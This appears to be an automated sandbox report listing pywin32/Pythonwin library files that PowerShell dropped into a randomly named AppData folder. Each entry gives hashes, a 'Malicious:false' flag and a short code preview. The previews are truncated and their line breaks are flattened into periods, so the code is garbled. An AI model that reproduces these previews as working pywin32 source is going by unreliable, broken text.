              SHA-512:A0DDA0B0A790E385FB0BE69659FB97D9645A3208C08E07400284C81F5CACE190AD115DAC8350133BA445E53AC0AFD686980274A70148CF376D46AAB3D9CF4784
              Malicious:false
              Reputation:unknown
              Preview:# MFC base classes...import win32ui...class Object:. def __init__(self, initObj=None):. self.__dict__["_obj_"] = initObj. # ..self._obj_ = initObj. if initObj is not None:. initObj.AttachObject(self).. def __del__(self):. self.close().. def __getattr__(. self, attr. ): # Make this object look like the underlying win32ui one.. # During cleanup __dict__ is not available, causing recursive death.. if not attr.startswith("__"):. try:. o = self.__dict__["_obj_"]. if o is not None:. return getattr(o, attr). # Only raise this error for non "internal" names -. # Python may be calling __len__, __nonzero__, etc, so. # we dont want this exception. if attr[0] != "_" and attr[-1] != "_":. raise win32ui.error("The MFC object has died."). except KeyError:. # No _obj_

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\mfc\thread.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):588
              Entropy (8bit):4.556501995844858
              Encrypted:false
              SSDEEP:
              MD5:CFE2192D3AEFC770DCF8AF46489267F6
              SHA1:7FE1659F61EA201667A114911ECBBE08DC9667D4
              SHA-256:CA5B09C8E52F81F206DC58C631605F915229B034038C7900B527E3DD7CF3AB33
              SHA-512:9A6BF373CFA64D3F3A96CB228DA1EA15F9CB6E5D9106515BB6AEE9E8C5C4E406142199636FA07C44AFFC25A7D704CBDCC7BF0C3745E0BC40DE7850C25B6F97F8
              Malicious:false
              Reputation:unknown
              Preview:# Thread and application objects..import win32ui..from . import object...class WinThread(object.CmdTarget):. def __init__(self, initObj=None):. if initObj is None:. initObj = win32ui.CreateThread(). object.CmdTarget.__init__(self, initObj).. def InitInstance(self):. pass # Default None/0 return indicates success for InitInstance().. def ExitInstance(self):. pass...class WinApp(WinThread):. def __init__(self, initApp=None):. if initApp is None:. initApp = win32ui.GetApp(). WinThread.__init__(self, initApp).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\mfc\window.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1499
              Entropy (8bit):4.791197957899837
              Encrypted:false
              SSDEEP:
              MD5:C6FAA92255CC9C8FB700A0F740E41762
              SHA1:AA1CB1637DD14BBDA6392E1CB7FBFD5C20F01AF4
              SHA-256:9A970EB30140B49C4A41A18FF5B415DAA1D72867D4FB16302E3705272A238E3B
              SHA-512:1EF564380ECF3773F5935A3F29D61A7711E7187733092F227B6468D759C6CF40653BE8F7B364898AE9D2B5C052DCB5F8441D59D8EC8196004ECD8A3CD3619A2C
              Malicious:false
              Reputation:unknown
              Preview:# The MFCish window classes..import win32con.import win32ui..from . import object...class Wnd(object.CmdTarget):. def __init__(self, initobj=None):. object.CmdTarget.__init__(self, initobj). if self._obj_:. self._obj_.HookMessage(self.OnDestroy, win32con.WM_DESTROY).. def OnDestroy(self, msg):. pass...# NOTE NOTE - This facility is currently disabled in Pythonwin!!!!!.# Note - to process all messages for your window, add the following method.# to a derived class. This code provides default message handling (ie, is.# identical, except presumably in speed, as if the method did not exist at.# all, so presumably will be modified to test for specific messages to be.# useful!.# .def WindowProc(self, msg, wParam, lParam):.# ..rc, lResult = self._obj_.OnWndMsg(msg, wParam, lParam).# ..if not rc: lResult = self._obj_.DefWindowProc(msg, wParam, lParam).# ..return lResult...class FrameWnd(Wnd):. def __init__(self, wnd):. Wnd.__init__(self, wnd)...c

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\scintilla\IDLEenvironment.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):19556
              Entropy (8bit):4.497661683256965
              Encrypted:false
              SSDEEP:
              MD5:30649C93971721EFE505F0A6938C339E
              SHA1:300BCF617E09E262C3CC32B736B721D701F5D1C9
              SHA-256:F7D11254FBB78D58C665E80B3A360AB72C2D8513C118E2EF3D4EB180C0FB0404
              SHA-512:165B1ED569A6FBF9E774C1A7E64BEB919073B312C2E0AA9E7CB56D742C6B8CAFFBDB927BCC2759D1A040D9B5C41846906DDF9A268F1E93C3AD6FE16442261E25
              Malicious:false
              Reputation:unknown
              Preview:# Code that allows Pythonwin to pretend it is IDLE.# (at least as far as most IDLE extensions are concerned)..import string.import sys..import win32api.import win32con.import win32ui.from pywin import default_scintilla_encoding.from pywin.mfc.dialog import GetSimpleInput..wordchars = string.ascii_uppercase + string.ascii_lowercase + string.digits...class TextError(Exception): # When a TclError would normally be raised.. pass...class EmptyRange(Exception): # Internally raised.. pass...def GetIDLEModule(module):. try:. # First get it from Pythonwin it is exists.. modname = "pywin.idle." + module. __import__(modname). except ImportError as details:. msg = (. "The IDLE extension '%s' can not be located.\r\n\r\n". "Please correct the installation and restart the". " application.\r\n\r\n%s" % (module, details). ). win32ui.MessageBox(msg). return None. mod = sys.modules[modname]. mod.TclError

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\scintilla\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):16
              Entropy (8bit):3.625
              Encrypted:false
              SSDEEP:
              MD5:1DB1C834652DC978B6EBA0094585AF4B
              SHA1:8ECAC16CF8E6EF9613A72D899DFCF06BE97CAD49
              SHA-256:BAA89C209D8D74CA2A98B62E725B7D2A6775F6207EC3E405DF272E06979A3BF0
              SHA-512:5C6C13B1A389531F409172B59CE79E7AE4B64647DB6F8CEF291A3134C2BC7D8E1235040A7E610FC2BC790872DD5D05AB44DD3CA5368D44EEF802A419D715490B
              Malicious:false
              Reputation:unknown
              Preview:# package init..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\scintilla\bindings.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):6001
              Entropy (8bit):4.567243978762066
              Encrypted:false
              SSDEEP:
              MD5:4D63B46F085EDD1B3F26492C060BE02F
              SHA1:492669F778D75AB612251026C0857529237910F2
              SHA-256:DABDFAA846E98F4B0CE096518E120A8DDBBB8410796D6D9D88143253AF0995A8
              SHA-512:FFDA160E7D8890E92E546688E720B7B742F803B2847D766EC0C652980296F8E883F0214831964B45BF2798D55EBF92D0133B8530FD57EFEB3C3604DC00DB60CB
              Malicious:false
              Reputation:unknown
              Preview:import traceback..import win32api.import win32con.import win32ui..from . import IDLEenvironment, keycodes..HANDLER_ARGS_GUESS = 0.HANDLER_ARGS_NATIVE = 1.HANDLER_ARGS_IDLE = 2.HANDLER_ARGS_EXTENSION = 3..next_id = 5000..event_to_commands = {} # dict of integer IDs to event names..command_to_events = {} # dict of event names to int IDs...def assign_command_id(event, id=0):. global next_id. if id == 0:. id = event_to_commands.get(event, 0). if id == 0:. id = next_id. next_id = next_id + 1. # Only map the ones we allocated - specified ones are assumed to have a handler. command_to_events[id] = event. event_to_commands[event] = id. return id...class SendCommandHandler:. def __init__(self, cmd):. self.cmd = cmd.. def __call__(self, *args):. win32ui.GetMainFrame().SendMessage(win32con.WM_COMMAND, self.cmd)...class Binding:. def __init__(self, handler, handler_args_type):. self.handler = handler.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\scintilla\config.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):12462
              Entropy (8bit):4.140685505289245
              Encrypted:false
              SSDEEP:
              MD5:A3B4EA466176089EB9A997B7A42080B4
              SHA1:7C308DA4113AF4AB5C915D5D03E876B1405BF298
              SHA-256:FE72E043C6DD33F7DA48B20AA3DDE5B9720D9B8053FB8B6AE647A42E80DFFE69
              SHA-512:A3F6023BC2970BE7508BFC569060464B952E84FF889E100D5ACDA7DAF096B79EB4DCF0AAFE3F4AAC7699513881D09C22C08683CF61EC0BC105C6A2E738A4F89D
              Malicious:false
              Reputation:unknown
              Preview:# config.py - deals with loading configuration information...# Loads config data from a .cfg file. Also caches the compiled.# data back into a .cfc file...# If you are wondering how to avoid needing .cfg files (eg,.# if you are freezing Pythonwin etc) I suggest you create a.# .py file, and put the config info in a docstring. Then.# pass a CStringIO file (rather than a filename) to the.# config manager..import glob.import importlib.util.import marshal.import os.import stat.import sys.import traceback.import types..import pywin.import win32api..from . import keycodes..debugging = 0.if debugging:. import win32traceutil # Some trace statements fire before the interactive window is open... def trace(*args):. sys.stderr.write(" ".join(map(str, args)) + "\n")..else:. trace = lambda *args: None..compiled_config_version = 3...def split_line(line, lineno):. comment_pos = line.find("#"). if comment_pos >= 0:. line = line[:comment_pos]. sep_pos = line.rfind("=").

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\scintilla\configui.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):11205
              Entropy (8bit):4.821865216685485
              Encrypted:false
              SSDEEP:
              MD5:CBE37DC6081DCCCAB596CC4174B049A8
              SHA1:6CED1ED7EBB1E74502315B16951AC7D7CD7C0136
              SHA-256:0FA2FA6B662FC92DB265DF581E8A6CFC89B977761817A729B63BCF521A351692
              SHA-512:CF3C72CACBDF3E606DD9DF96FEFBD973BEFAF4D3A16FF3CA81B8DC40B447F8A16EA2E7BBDCA30E6766C9835A44BD93E0D4A294EF256AF18F176AB01FDF5D4181
              Malicious:false
              Reputation:unknown
              Preview:import win32api.import win32con.import win32ui.from pywin.mfc import dialog..# Used to indicate that style should use default color.from win32con import CLR_INVALID..from . import scintillacon..######################################################.# Property Page for syntax formatting options..# The standard 16 color VGA palette should always be possible.paletteVGA = (. ("Black", win32api.RGB(0, 0, 0)),. ("Navy", win32api.RGB(0, 0, 128)),. ("Green", win32api.RGB(0, 128, 0)),. ("Cyan", win32api.RGB(0, 128, 128)),. ("Maroon", win32api.RGB(128, 0, 0)),. ("Purple", win32api.RGB(128, 0, 128)),. ("Olive", win32api.RGB(128, 128, 0)),. ("Gray", win32api.RGB(128, 128, 128)),. ("Silver", win32api.RGB(192, 192, 192)),. ("Blue", win32api.RGB(0, 0, 255)),. ("Lime", win32api.RGB(0, 255, 0)),. ("Aqua", win32api.RGB(0, 255, 255)),. ("Red", win32api.RGB(255, 0, 0)),. ("Fuchsia", win32api.RGB(255, 0, 255)),. ("Yellow", win32api.RGB(255, 255, 0)),. ("White

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\scintilla\control.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):20451
              Entropy (8bit):4.87683613229855
              Encrypted:false
              SSDEEP:
              MD5:751CFD7DFE3C718847F3726B1763ECBD
              SHA1:AD3E5B090323C9E40FAA4F61401E43CD09781526
              SHA-256:42BAAB81F5657703CF5203687BC0608FA47763691ECBA0330D4A716ACFB185CD
              SHA-512:097BFE19E1FD9D1198DCE6C91E28237EED7C30C232372C47C619677EEE8ABADFC26D015E5638AA48A0235CD0A3E0D15257B370D1D8D67D5571AB01EEA596F2F2
              Malicious:false
              Reputation:unknown
              Preview:# An Python interface to the Scintilla control..#.# Exposes Python classes that allow you to use Scintilla as.# a "standard" MFC edit control (eg, control.GetTextLength(), control.GetSel().# plus many Scintilla specific features (eg control.SCIAddStyledText())..import array.import os.import struct..import win32api.import win32con.import win32ui.from pywin import default_scintilla_encoding.from pywin.mfc import window..from . import scintillacon..# Load Scintilla.dll to get access to the control..# We expect to find this in the same directory as win32ui.pyd.dllid = None.if win32ui.debug: # If running _d version of Pythonwin.... try:. dllid = win32api.LoadLibrary(. os.path.join(os.path.split(win32ui.__file__)[0], "Scintilla_d.DLL"). ). except (. win32api.error. ): # Not there - we dont _need_ a debug ver, so ignore this error.. pass.if dllid is None:. try:. dllid = win32api.LoadLibrary(. os.path.join(os.path.split(win

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\scintilla\document.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):11468
              Entropy (8bit):4.53438787213757
              Encrypted:false
              SSDEEP:
              MD5:332D0E872EC47EEDB2AB3977608B8030
              SHA1:257F0DA57EDFA8DD6139572C41A4F96F37BB238A
              SHA-256:2A79B8ECBE1BEFDBA9779742C1662A5C51F7B4E02630F0A5E79CCA47C9B2056C
              SHA-512:DC641DE102D9EF4EDCEE5DCAAD347CA5E264A664041718592875CAB75EBA60E8BCEC88B89E540175F0AEC4105FF5D14A130959C4E4ACB7757F06E3DC8528B8E6
              Malicious:false
              Reputation:unknown
              Preview:import codecs.import re.import string..import win32con.import win32ui.from pywin import default_scintilla_encoding.from pywin.mfc import docview..from . import scintillacon..crlf_bytes = "\r\n".encode("ascii").lf_bytes = "\n".encode("ascii")..# re from pep263 - but we use it both on bytes and strings..re_encoding_bytes = re.compile("coding[:=]\s*([-\w.]+)".encode("ascii")).re_encoding_text = re.compile("coding[:=]\s*([-\w.]+)")..ParentScintillaDocument = docview.Document...class CScintillaDocument(ParentScintillaDocument):. "A SyntEdit document.".. def __init__(self, *args):. self.bom = None # the BOM, if any, read from the file.. # the encoding we detected from the source. Might have. # detected via the BOM or an encoding decl. Note that in. # the latter case (ie, while self.bom is None), it can't be. # trusted - the user may have edited the encoding decl between. # open and save.. self.source_encoding = None. ParentScin

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\scintilla\find.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):16767
              Entropy (8bit):4.472904609296871
              Encrypted:false
              SSDEEP:
              MD5:43EEE7F984417490D1A5762541F1FA55
              SHA1:D725A912D96EF3A0E6ECD8E803DA69F741A4B4D2
              SHA-256:8795FF82596A683F8C66C906C69D4DF9A908053224B2BB42EF933E45563AC3B1
              SHA-512:67BB7C160C94BFA66D2B3F667782C650B7E008CACB02E5FE0714418740136DE7EBDB377166384C70CAEFD88003A6F5387981CD27AF10921B2D30C01F3814969B
              Malicious:false
              Reputation:unknown
              Preview:# find.py - Find and Replace.import afxres.import win32api.import win32con.import win32ui.from pywin.framework import scriptutils.from pywin.mfc import dialog..FOUND_NOTHING = 0.FOUND_NORMAL = 1.FOUND_LOOPED_BACK = 2.FOUND_NEXT_FILE = 3...class SearchParams:. def __init__(self, other=None):. if other is None:. self.__dict__["findText"] = "". self.__dict__["replaceText"] = "". self.__dict__["matchCase"] = 0. self.__dict__["matchWords"] = 0. self.__dict__["acrossFiles"] = 0. self.__dict__["remember"] = 1. self.__dict__["sel"] = (-1, -1). self.__dict__["keepDialogOpen"] = 0. else:. self.__dict__.update(other.__dict__).. # Helper so we cant misspell attributes :-). def __setattr__(self, attr, val):. if not hasattr(self, attr):. raise AttributeError(attr). self.__dict__[attr] = val...curDialog = None.lastSearch = defaultSearch = SearchParams().se

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\scintilla\formatter.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):26477
              Entropy (8bit):4.642478730234446
              Encrypted:false
              SSDEEP:
              MD5:564750E4B264BB2215CBCA6B86C3A939
              SHA1:A90B44FDE7B72D7C0F6444FB9EE5A5DD778558C7
              SHA-256:C949D863189E53E64A3E4E4698259A7C08AA97E3B021D874AB02554D3F53DEFE
              SHA-512:6511065D73986943C28A2EEF44EB1F795D670983939800F06186E06895646365D65490699088997F00E9ECC492874E7A763C515F7EEDEF0E95B8E7C7AA96BDE4
              Malicious:false
              Reputation:unknown
              Preview:# Does Python source formatting for Scintilla controls..import array.import string..import win32api.import win32con.import win32ui..from . import scintillacon..WM_KICKIDLE = 0x036A..# Used to indicate that style should use default color.from win32con import CLR_INVALID..debugging = 0.if debugging:. # Output must go to another process else the result of. # the printing itself will trigger again trigger a trace... import win32trace. import win32traceutil.. def trace(*args):. win32trace.write(" ".join(map(str, args)) + "\n")..else:. trace = lambda *args: None...class Style:. """Represents a single format""".. def __init__(self, name, format, background=CLR_INVALID):. self.name = name # Name the format representes eg, "String", "Class". # Default background for each style is only used when there are no. # saved settings (generally on first startup). self.background = self.default_background = background. if type(format) ==

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\scintilla\keycodes.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):5311
              Entropy (8bit):4.9515679287644865
              Encrypted:false
              SSDEEP:
              MD5:B6AA32DEF3E71413907DB6CF732938EF
              SHA1:F933BF73F2A377524E542F3AFF97B50851FB84BF
              SHA-256:B8E577BA367521A732C89850FE25AA37D35BBF28CA677E4243B9E8A298588F24
              SHA-512:0F6192D939BA4BE7642D854EEB2D653CE309828AE5499FF5E3C6A5A463A64962875663520F13405716948368F0E152F2F57BC3ECB734725BB60B9CE474A12ECA
              Malicious:false
              Reputation:unknown
              Preview:import win32api.import win32con.import win32ui..MAPVK_VK_TO_CHAR = 2..key_name_to_vk = {}.key_code_to_name = {}.._better_names = {. "escape": "esc",. "return": "enter",. "back": "pgup",. "next": "pgdn",.}...def _fillvkmap():. # Pull the VK_names from win32con. names = [entry for entry in win32con.__dict__ if entry.startswith("VK_")]. for name in names:. code = getattr(win32con, name). n = name[3:].lower(). key_name_to_vk[n] = code. if n in _better_names:. n = _better_names[n]. key_name_to_vk[n] = code. key_code_to_name[code] = n..._fillvkmap()...def get_vk(chardesc):. if len(chardesc) == 1:. # it is a character.. info = win32api.VkKeyScan(chardesc). if info == -1:. # Note: returning None, None causes an error when keyboard layout is non-English, see the report below. # https://stackoverflow.com/questions/45138084/pythonwin-occasionally-gives-an-error-on-opening.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\scintilla\scintillacon.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):45141
              Entropy (8bit):4.753874334221887
              Encrypted:false
              SSDEEP:
              MD5:6CE12A4CBC3EBC97708577BF982A18B2
              SHA1:32A7270DC458D919CD74EF662E52F3B05B324FBD
              SHA-256:A0C44596B1F9F79B527701C643FAFDDA71BA731A3813A3D29AFECFE734C919EB
              SHA-512:DF65C2829331C9858C3824E09D18F829EB89ADCE281C4B27430ABB50218F224F951108E53162143B1975186BE390C9459644070DFFB8A9DE512CF402FF3DDBFB
              Malicious:false
              Reputation:unknown
              Preview:# Generated by h2py from Include\scintilla.h...# Included from BaseTsd.h.def HandleToUlong(h):. return HandleToULong(h)...def UlongToHandle(ul):. return ULongToHandle(ul)...def UlongToPtr(ul):. return ULongToPtr(ul)...def UintToPtr(ui):. return UIntToPtr(ui)...INVALID_POSITION = -1.SCI_START = 2000.SCI_OPTIONAL_START = 3000.SCI_LEXER_START = 4000.SCI_ADDTEXT = 2001.SCI_ADDSTYLEDTEXT = 2002.SCI_INSERTTEXT = 2003.SCI_CLEARALL = 2004.SCI_CLEARDOCUMENTSTYLE = 2005.SCI_GETLENGTH = 2006.SCI_GETCHARAT = 2007.SCI_GETCURRENTPOS = 2008.SCI_GETANCHOR = 2009.SCI_GETSTYLEAT = 2010.SCI_REDO = 2011.SCI_SETUNDOCOLLECTION = 2012.SCI_SELECTALL = 2013.SCI_SETSAVEPOINT = 2014.SCI_GETSTYLEDTEXT = 2015.SCI_CANREDO = 2016.SCI_MARKERLINEFROMHANDLE = 2017.SCI_MARKERDELETEHANDLE = 2018.SCI_GETUNDOCOLLECTION = 2019.SCWS_INVISIBLE = 0.SCWS_VISIBLEALWAYS = 1.SCWS_VISIBLEAFTERINDENT = 2.SCI_GETVIEWWS = 2020.SCI_SETVIEWWS = 2021.SCI_POSITIONFROMPOINT = 2022.SCI_POSITIONFROMPOINTCLOSE = 2023.SCI_GOTOLINE

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\scintilla\view.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):30922
              Entropy (8bit):4.678252073720509
              Encrypted:false
              SSDEEP:
              MD5:578AF53BD25A2A596BEB0AA5E4319087
              SHA1:1719626B7551DF72AE3EC3459C42BC5B7C6CA18C
              SHA-256:E4B7E75D163FFFED423B15A2F04763BE863FF50E2EEC3DA3CB61C60700ECE537
              SHA-512:3C571549C22313267B84E06C273D7C1C014C378BF511688AD40162C0EB9C517F81410898C36BAE1DB4BDEB6E11DE8B1F176954E7652B74DF28CB6894598F200E
              Malicious:false
              Reputation:unknown
              Preview:# A general purpose MFC CCtrlView view that uses Scintilla...import array.import os.import re.import string.import struct.import sys..import __main__ # for attribute lookup.import afxres.import win32con.import win32ui.from pywin.mfc import dialog, docview..from . import IDLEenvironment # IDLE emulation..from . import bindings, control, keycodes, scintillacon..PRINTDLGORD = 1538.IDC_PRINT_MAG_EDIT = 1010.EM_FORMATRANGE = win32con.WM_USER + 57..wordbreaks = "._" + string.ascii_uppercase + string.ascii_lowercase + string.digits..patImport = re.compile("import (?P<name>.*)").._event_commands = [. # File menu. "win32ui.ID_FILE_LOCATE",. "win32ui.ID_FILE_CHECK",. "afxres.ID_FILE_CLOSE",. "afxres.ID_FILE_NEW",. "afxres.ID_FILE_OPEN",. "afxres.ID_FILE_SAVE",. "afxres.ID_FILE_SAVE_AS",. "win32ui.ID_FILE_SAVE_ALL",. # Edit menu. "afxres.ID_EDIT_UNDO",. "afxres.ID_EDIT_REDO",. "afxres.ID_EDIT_CUT",. "afxres.ID_EDIT_COPY",. "afxres.ID_EDIT_PASTE",.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\tools\TraceCollector.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2432
              Entropy (8bit):4.6952598205507305
              Encrypted:false
              SSDEEP:
              MD5:B73BEB3DBC8744897E9AA1880591FFF4
              SHA1:D34D555A31BCD0BF2EF50BC8FEC2CD99CD31FDA0
              SHA-256:2075C84B82B5D7452448F7199857CFE67FBF262A67DAFBBC12282FD8A2647F7E
              SHA-512:9F5A29F33051111FA6CDB90BA51DFA6CE32572216135E7A88109664358FE57FE228617DC6E6C386C5FD08AB1D970F25C791A775826289565F8CA6C1E874DDD4C
              Malicious:false
              Reputation:unknown
              Preview:# win32traceutil like utility for Pythonwin.import _thread..import win32api.import win32event.import win32trace.from pywin.framework import winout..outputWindow = None...def CollectorThread(stopEvent, file):. win32trace.InitRead(). handle = win32trace.GetHandle(). # Run this thread at a lower priority to the main message-loop (and printing output). # thread can keep up. import win32process.. win32process.SetThreadPriority(. win32api.GetCurrentThread(), win32process.THREAD_PRIORITY_BELOW_NORMAL. ).. try:. while 1:. rc = win32event.WaitForMultipleObjects(. (handle, stopEvent), 0, win32event.INFINITE. ). if rc == win32event.WAIT_OBJECT_0:. # About the only char we can't live with is \0!. file.write(win32trace.read().replace("\0", "<null>")). else:. # Stop event. break. finally:. win32trace.TermRead(). print("Thread di

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\tools\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:very short file (no magic)
              Category:dropped
              Size (bytes):1
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:68B329DA9893E34099C7D8AD5CB9C940
              SHA1:ADC83B19E793491B1C6EA0FD8B46CD9F32E592FC
              SHA-256:01BA4719C80B6FE911B091A7C05124B64EEECE964E09C058EF8F9805DACA546B
              SHA-512:BE688838CA8686E5C90689BF2AB585CEF1137C999B48C70B92F67A5C34DC15697B5D11C982ED6D71BE1E1E7F7B4E0733884AA97C3F7A339A8ED03577CF74BE09
              Malicious:false
              Reputation:unknown
              Preview:.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\tools\browseProjects.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):9513
              Entropy (8bit):4.680041511661725
              Encrypted:false
              SSDEEP:
              MD5:C67199515363B12BF75D3EDFF4763C10
              SHA1:29DD9457F98E254190AFC7E1686C53CE74DE9442
              SHA-256:EECF9774CF2593A982058BBC453AAB3AB71C69D83D1B0F20D5573E943BEDB840
              SHA-512:B8B47D4BF7DB87E8C72D404D8FF72EDE5B7D767933CBB97E0383C9F1E86172D5C0F7CFA13A59726A06531DCB153807EA678E602B16F84B020785F8D9801985E8
              Malicious:false
              Reputation:unknown
              Preview:import glob.import os.import pyclbr..import afxres.import commctrl.import pywin.framework.scriptutils.import regutil.import win32api.import win32con.import win32ui.from pywin.mfc import dialog..from . import hierlist...class HLIErrorItem(hierlist.HierListItem):. def __init__(self, text):. self.text = text. hierlist.HierListItem.__init__(self).. def GetText(self):. return self.text...class HLICLBRItem(hierlist.HierListItem):. def __init__(self, name, file, lineno, suffix=""):. # If the 'name' object itself has a .name, use it. Not sure. # how this happens, but seems pyclbr related.. # See PyWin32 bug 817035. self.name = getattr(name, "name", name). self.file = file. self.lineno = lineno. self.suffix = suffix.. def __lt__(self, other):. return self.name < other.name.. def __eq__(self, other):. return self.name == other.name.. def GetText(self):. return self.name + self.suffix..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\tools\browser.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):13614
              Entropy (8bit):4.660208912137426
              Encrypted:false
              SSDEEP:
              MD5:D1A84A62078C722CA626ABD14BA2C369
              SHA1:48EC77E5E3B5290201843098A5B6FEDE768F84D6
              SHA-256:6293D32C361E69FB09D5217DEE949E4B15D6E2255B4DCC3C3759ABEF30FE9F28
              SHA-512:36F53C178F1772915BA95F6B997D14BD8AA50CD78CFC91AA26BB6CC886DCE242F3867C9D4E642CF01AA57302DDCABD1ED8600520F982CECB851BEB5A945127A4
              Malicious:false
              Reputation:unknown
              Preview:# basic module browser...# usage:.# >>> import browser.# >>> browser.Browse().# or.# >>> browser.Browse(your_module).import sys.import types..import __main__.import win32ui.from pywin.mfc import dialog..from . import hierlist..special_names = ["__doc__", "__name__", "__self__"]...#.# HierList items.class HLIPythonObject(hierlist.HierListItem):. def __init__(self, myobject=None, name=None):. hierlist.HierListItem.__init__(self). self.myobject = myobject. self.knownExpandable = None. if name:. self.name = name. else:. try:. self.name = myobject.__name__. except (AttributeError, TypeError):. try:. r = repr(myobject). if len(r) > 20:. r = r[:20] + "...". self.name = r. except (AttributeError, TypeError):. self.name = "???".. def __lt__(self, other):. return self.name <

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\tools\hierlist.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):12728
              Entropy (8bit):4.585314492569441
              Encrypted:false
              SSDEEP:
              MD5:236EE733E7E2050E9752A4399DC39038
              SHA1:CC55A32C114CDF79C10845109AA5080B7F479B3A
              SHA-256:2FF0B1026DB642DD066A70F381EFDFCB49DF98BFB2A16483ADCCEEE335E66E4C
              SHA-512:BC813AE9C7F9C66CE52A1C2188D338EDDACBF9655C26B795D6058961D51D70B22ADE3823BE2A8AD4549E88F04DB087E28DE31A06E76DD594F038C553F4D3671C
              Malicious:false
              Reputation:unknown
              Preview:# hierlist.#.# IMPORTANT - Please read before using...# This module exposes an API for a Hierarchical Tree Control..# Previously, a custom tree control was included in Pythonwin which.# has an API very similar to this...# The current control used is the common "Tree Control". This module exists now.# to provide an API similar to the old control, but for the new Tree control...# If you need to use the Tree Control, you may still find this API a reasonable.# choice. However, you should investigate using the tree control directly.# to provide maximum flexibility (but with extra work)...import sys..import commctrl.import win32api.import win32con.import win32ui.from pywin.mfc import dialog, docview, object, window.from win32api import RGB...# helper to get the text of an arbitary item.def GetItemText(item):. if type(item) == type(()) or type(item) == type([]):. use = item[0]. else:. use = item. if type(use) == type(""):. return use. else:. return re

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\tools\regedit.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):13258
              Entropy (8bit):4.68464406936916
              Encrypted:false
              SSDEEP:
              MD5:D93B28C41A0C20FF2F27DD72EA6746BB
              SHA1:247A44DE8B5EC098E19EEF56DCA78008BAAB7313
              SHA-256:F445B80A01D9107F0D5DBB265FA3BDD867513A5F3B12B1C3B23F337EAD92B98D
